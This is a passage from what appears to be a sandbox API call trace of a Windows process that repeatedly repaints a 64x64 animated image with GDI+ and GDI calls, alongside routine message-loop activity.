(region=0x1de43de0) returned 0x0 [0169.247] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.247] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.248] GetSystemMetrics (nIndex=42) returned 0 [0169.248] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.248] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.248] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.248] CoTaskMemFree (pv=0x1e91eca0) [0169.248] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x10) returned 0x0 [0169.250] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0169.250] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0169.250] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0169.251] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0169.251] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x510106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0169.251] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.251] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x510106c6) returned 0x0 [0169.251] SelectObject (hdc=0x510106c6, h=0x185000f) returned 0x1a05067e [0169.251] DeleteDC (hdc=0x510106c6) returned 1 [0169.251] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.251] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0169.251] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0169.251] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0169.252] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.252] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.252] WaitMessage () returned 1 [0169.374] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.374] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.374] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.374] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.374] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.374] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0169.374] GetCurrentThreadId () returned 0xec0 [0169.374] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0169.374] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.375] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.375] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.375] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.375] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.375] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0169.375] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0169.375] CreateCompatibleDC (hdc=0x1010b9d) returned 0x520106c6 [0169.375] SelectObject (hdc=0x520106c6, h=0x1a05067e) returned 0x185000f [0169.375] GdipCreateFromHDC (hdc=0x520106c6, graphics=0x15daf0) returned 0x0 [0169.376] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0169.376] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0169.376] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0169.376] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0169.376] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0169.376] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.376] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0169.377] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.377] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.377] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0169.377] GdipCreateRegion (region=0x15dc20) returned 0x0 [0169.377] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0169.377] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0169.377] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0169.377] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.377] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.377] GetSystemMetrics (nIndex=42) returned 0 [0169.377] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.378] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.378] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.378] CoTaskMemFree (pv=0x1e91eca0) [0169.378] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0169.378] GdipCreateRegion (region=0x15d710) returned 0x0 [0169.378] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0169.378] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0169.378] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0169.378] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0169.378] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.378] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.379] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.379] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0169.379] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.379] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.379] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.380] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.380] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0169.380] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0169.380] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0169.380] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0169.380] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.380] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0169.380] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0169.380] GetCurrentObject (hdc=0x520106c6, type=0x1) returned 0x1b00017 [0169.380] GetCurrentObject (hdc=0x520106c6, type=0x2) returned 0x1900010 [0169.381] GetCurrentObject (hdc=0x520106c6, type=0x7) returned 0x1a05067e [0169.381] GetCurrentObject (hdc=0x520106c6, type=0x6) returned 0x18a002e [0169.381] SaveDC (hdc=0x520106c6) returned 1 [0169.381] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x420407c3 [0169.381] GetClipRgn (hdc=0x520106c6, hrgn=0x420407c3) returned 0 [0169.381] SelectClipRgn (hdc=0x520106c6, hrgn=0x12040b8a) returned 2 [0169.381] DeleteObject (ho=0x420407c3) returned 1 [0169.381] DeleteObject (ho=0x12040b8a) returned 1 [0169.381] OffsetViewportOrgEx (in: hdc=0x520106c6, x=0, y=0, lppt=0x273d760 | out: lppt=0x273d760) returned 1 [0169.382] GetNearestColor (hdc=0x520106c6, color=0xffffff) returned 0xffffff [0169.382] CreateSolidBrush (color=0xffffff) returned 0x1a100190 [0169.382] FillRect (hDC=0x520106c6, lprc=0x15d7c0, hbr=0x1a100190) returned 1 [0169.382] DeleteObject (ho=0x1a100190) returned 1 [0169.382] RestoreDC (hdc=0x520106c6, nSavedDC=-1) returned 1 [0169.382] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.382] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x520106c6) returned 0x0 [0169.382] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbb20dbd) returned 0x0 [0169.383] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.383] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0169.383] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.383] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.383] GetSystemMetrics (nIndex=42) returned 0 [0169.383] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.383] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.383] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.383] CoTaskMemFree (pv=0x1e91eca0) [0169.383] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0169.383] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0169.383] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0169.383] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0169.384] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x520106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0169.384] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.384] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x520106c6) returned 0x0 [0169.384] SelectObject (hdc=0x520106c6, h=0x185000f) returned 0x1a05067e [0169.384] DeleteDC (hdc=0x520106c6) returned 1 [0169.384] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.384] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0169.384] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0169.384] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0169.384] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.384] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.384] WaitMessage () returned 1 [0169.499] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.499] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.499] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.499] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.499] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.499] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0169.499] GetCurrentThreadId () returned 0xec0 [0169.499] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0169.499] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.499] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.499] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.499] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.499] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.499] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0169.500] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0169.500] CreateCompatibleDC (hdc=0x1010b9d) returned 0x530106c6 [0169.500] SelectObject (hdc=0x530106c6, h=0x1a05067e) returned 0x185000f [0169.500] GdipCreateFromHDC (hdc=0x530106c6, graphics=0x15daf0) returned 0x0 [0169.500] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0169.500] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0169.500] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0169.500] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0169.500] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0169.500] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.500] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0169.501] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.501] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.501] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0169.501] GdipCreateRegion (region=0x15dc20) returned 0x0 [0169.501] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0169.501] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0169.501] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0169.502] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.502] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.502] GetSystemMetrics (nIndex=42) returned 0 [0169.502] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.502] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.502] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.502] CoTaskMemFree (pv=0x1e91eca0) [0169.502] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0169.502] GdipCreateRegion (region=0x15d710) returned 0x0 [0169.502] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0169.502] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0169.502] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0169.502] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0169.503] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.503] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.503] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.503] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0169.503] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.503] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.504] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.504] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.504] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0169.504] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0169.504] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0169.504] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0169.504] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.504] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0169.504] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0169.504] GetCurrentObject (hdc=0x530106c6, type=0x1) returned 0x1b00017 [0169.504] GetCurrentObject (hdc=0x530106c6, type=0x2) returned 0x1900010 [0169.505] GetCurrentObject (hdc=0x530106c6, type=0x7) returned 0x1a05067e [0169.505] GetCurrentObject (hdc=0x530106c6, type=0x6) returned 0x18a002e [0169.505] SaveDC (hdc=0x530106c6) returned 1 [0169.505] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x13040b8a [0169.505] GetClipRgn (hdc=0x530106c6, hrgn=0x13040b8a) returned 0 [0169.505] SelectClipRgn (hdc=0x530106c6, hrgn=0x430407c3) returned 2 [0169.505] DeleteObject (ho=0x13040b8a) returned 1 [0169.505] DeleteObject (ho=0x430407c3) returned 1 [0169.505] OffsetViewportOrgEx (in: hdc=0x530106c6, x=0, y=0, lppt=0x273e098 | out: lppt=0x273e098) returned 1 [0169.505] GetNearestColor (hdc=0x530106c6, color=0xffffff) returned 0xffffff [0169.506] CreateSolidBrush (color=0xffffff) returned 0x1b100190 [0169.506] FillRect (hDC=0x530106c6, lprc=0x15d7c0, hbr=0x1b100190) returned 1 [0169.506] DeleteObject (ho=0x1b100190) returned 1 [0169.506] RestoreDC (hdc=0x530106c6, nSavedDC=-1) returned 1 [0169.506] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.506] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x530106c6) returned 0x0 [0169.506] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbb00dbd) returned 0x0 [0169.506] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.506] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0169.506] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.506] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.506] GetSystemMetrics (nIndex=42) returned 0 [0169.506] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.506] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.506] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.507] CoTaskMemFree (pv=0x1e91eca0) [0169.507] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x12) returned 0x0 [0169.508] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0169.509] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0169.509] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0169.509] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0169.509] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x530106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0169.509] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.509] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x530106c6) returned 0x0 [0169.509] SelectObject (hdc=0x530106c6, h=0x185000f) returned 0x1a05067e [0169.509] DeleteDC (hdc=0x530106c6) returned 1 [0169.509] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.509] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0169.509] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0169.509] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0169.510] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.510] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0169.510] WaitMessage () returned 1 [0169.623] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.623] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.623] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.623] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.623] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.623] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0169.623] GetCurrentThreadId () returned 0xec0 [0169.623] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0169.623] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0169.623] IsWindowUnicode (hWnd=0x2031e) returned 1 [0169.624] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0169.624] TranslateMessage (lpMsg=0x15e910) returned 0 [0169.624] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0169.624] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0169.624] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0169.624] CreateCompatibleDC (hdc=0x1010b9d) returned 0x540106c6 [0169.624] SelectObject (hdc=0x540106c6, h=0x1a05067e) returned 0x185000f [0169.624] GdipCreateFromHDC (hdc=0x540106c6, graphics=0x15daf0) returned 0x0 [0169.624] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0169.625] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0169.625] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0169.625] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0169.625] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0169.625] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.625] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0169.625] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.626] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.626] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0169.626] GdipCreateRegion (region=0x15dc20) returned 0x0 [0169.626] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0169.626] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0169.626] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0169.626] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0169.626] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.626] GetSystemMetrics (nIndex=42) returned 0 [0169.626] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0169.626] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0169.626] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0169.626] CoTaskMemFree (pv=0x1e91eca0) [0169.626] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0169.627] GdipCreateRegion (region=0x15d710) returned 0x0 [0169.627] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0169.627] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0169.627] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0169.627] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0169.627] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.627] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.628] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.628] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0169.628] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0169.628] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0169.628] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0169.628] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.628] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0169.628] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0169.628] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0169.629] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0169.629] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0169.629] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0169.629] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0169.629] GetCurrentObject (hdc=0x540106c6, type=0x1) returned 0x1b00017 [0169.629] GetCurrentObject (hdc=0x540106c6, type=0x2) returned 0x1900010 [0169.629] GetCurrentObject (hdc=0x540106c6, type=0x7) returned 0x1a05067e [0169.629] GetCurrentObject (hdc=0x540106c6, type=0x6) returned 0x18a002e [0169.629] SaveDC (hdc=0x540106c6) returned 1 [0169.629] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x440407c3 [0169.629] GetClipRgn (hdc=0x540106c6, hrgn=0x440407c3) returned 0 [0169.629] SelectClipRgn (hdc=0x540106c6, hrgn=0x14040b8a) returned 2 [0169.630] DeleteObject (ho=0x440407c3) returned 1 [0169.630] DeleteObject (ho=0x14040b8a) returned 1 [0169.630] OffsetViewportOrgEx (in: hdc=0x540106c6, x=0, y=0, lppt=0x273f380 | out: lppt=0x273f380) returned 1 [0169.630] GetNearestColor (hdc=0x540106c6, color=0xffffff) returned 0xffffff [0169.630] CreateSolidBrush (color=0xffffff) returned 0x1c100190 [0169.630] FillRect (hDC=0x540106c6, lprc=0x15d7c0, hbr=0x1c100190) returned 1 [0169.630] DeleteObject (ho=0x1c100190) returned 1 [0169.630] RestoreDC (hdc=0x540106c6, nSavedDC=-1) returned 1 [0169.630] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 